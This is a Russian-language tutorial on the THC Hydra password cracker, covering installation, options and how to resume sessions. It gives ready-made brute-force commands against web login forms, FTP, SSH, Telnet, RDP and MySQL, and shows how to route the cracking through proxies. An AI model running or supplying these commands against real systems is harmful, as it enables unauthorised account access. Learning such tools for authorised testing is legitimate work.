Данная статья предназначена только в ознакомительных целях! Мы никого не побуждаем на противоправные действия!

Существует множество вариантов защиты вашего пароля, но когда дело доходит до Password Cracker THC Hydra, все готово. Тем не менее, вы можете использовать некоторые методы криптографии для защиты вашего пароля или, по крайней мере, затруднить взлом.

Очень важно отметить, что этот инструмент является просто доказательством концепции, которая дает исследователям и специалистам по безопасности возможность увидеть, как они могут защитить себя от таких атак.

Взломщик паролей THC Hydra

Hydra - распараллеленный взломщик паролей, который поддерживает множество протоколов для атаки. Это очень быстро и гибко, и новые модули легко добавлять. Этот инструмент позволяет исследователям и консультантам по безопасности показать, как легко получить удаленный несанкционированный доступ к системе.

Hydra поддерживает следующие протоколы:

• Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP,
• HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-POST,
• HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD,
• HTTPS-POST, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP,
• Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP,Rexec,
• Rlogin, Rsh, RTSP, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP v1+v2+v3,SOCKS5,
• SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

Установка THC Hydra

Первым шагом является загрузка и компиляция THC-Hydra (чистая компиляция, протестированная на Linux, Windows / Cygwin, Solaris, FreeBSD / OpenBSD, QNX (Blackberry 10) и MacOS).

Установите гидру с помощью следующих команд:

$ git clone https://github.com/vanhauser-thc/thc-hydra
$ cd thc-hydra/
$ ./configure
$ make
$ make install

Примечание: для модуля ssh вам нужно настроить libssh (не libssh2) И для поддержки ssh v1, просто добавьте -DWITH_SSH1=On в командной строке cmake.

[ERROR] Compiled without LIBSSH v0.4.x support, module is not available!

Чтобы установить необходимые библиотеки (xhydra), пользователи Ubuntu / Debian должны запустить:

apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev \
 libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev \
 firebird-dev libncp-dev

Исключения:

• Модули Oracle, SAP R / 3 и Apple Logging Protocols - вам необходимо скачать и установить их из соответствующих источников;
• Другие системы на основе производных Linux / BSD - используйте установщик системного программного обеспечения и найдите подходящие библиотеки;
• Другое - скачать и установить исходные библиотеки и скомпилировать их вручную.

Команды THC Hydra

• Введите ./hydra -h тоже, чтобы увидеть все доступные параметры командной строки или
• hydra для более короткой версии.

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]]

– v vrebose mode

– l логин

– p <password_file/список слов>

– e nsr, дополнительные проверки, «n» для нулевого пароля, «s» - попытка входа как проход, «r» - обратный вход как прохода

– t <количество параллельных соединений>

– w <максимальное время ожидания ответа>

– f : выйти после первой пары логин / пароль

– m : OPTIONS - специфичные для модуля опции. Посмотрите в hydra -U <module>, какие опции доступны.

Примеры взломщика паролей Hydra

HTTP-POST-FORM:

$ hydra -l plague -P passList.txt -vV -f -t 5 192.168.1.100 http-post-form "/wp/Forum/login.php:log=^USER^&pwd=^PASS^:login_error"

• http-post-form: поддерживаемый сервис
• login_error: grep текст из формы HTML, если вход не выполнен
• log: form username имя поля ввода
• pwd: имя поля ввода пароля формы

Пример FTP (WordList):

$ hydra -s 21 -V -l plague -P wordlist.txt -e s -t 10 -w 5 192.168.1.100 ftp

Пример SSH(WordList):

$ hydra -s 22 -V -l plague -P wordlist.txt -t 10 -f 192.168.1.100 ssh

Пример Telnet (WordList):

$ hydra -s 23 -V -l plague -P wordlist.txt -e ns -t 10 -w 5 -f -m 192.168.1.100 telnet

Пример HTTP Login (WordList). For HTTPS set “https-get”:

$ hydra 192.168.1.1 http-get -v -V -l telekom -P wordlist.txt -e ns -t 5 -w 30 -m / -f

Пример RDP (WordList):

$ hydra -t 4 -V -l plague -P wordlist.txt rdp://192.168.1.100

Пример MySQL (WordList):

$ hydra -t 4 -V -f -l plague -e ns -P wordlist.txt 192.168.1.100 mysql

Восстановить прерванную сессию

Файл hydra.restore содержит всю необходимую для восстановления сессии информацию, которая записывается каждые 5 минут. Итак, если гидра выходит из строя или вы просто прерываете ее с помощью Control + C, вы найдете всю информацию в этом файле. ПРИМЕЧАНИЕ: вы не можете скопировать файл hydra.restore на разные платформы.

Сканирование/Взлом прокси

Переменная окружения HYDRA_PROXY_HTTP определяет веб-прокси (* это работает только для службы http / www!). Используйте следующий синтаксис:

HYDRA_PROXY_HTTP="http://123.45.67.89:8080/"
HYDRA_PROXY_HTTP="http://login:password@123.45.67.89:8080/"

Вы можете использовать переменную HYDRA_PROXY для сканирования / взлома всех других служб с таким же синтаксисом:

HYDRA_PROXY=[connect|socks4|socks5]://[login:password@]proxy_addr:proxy_port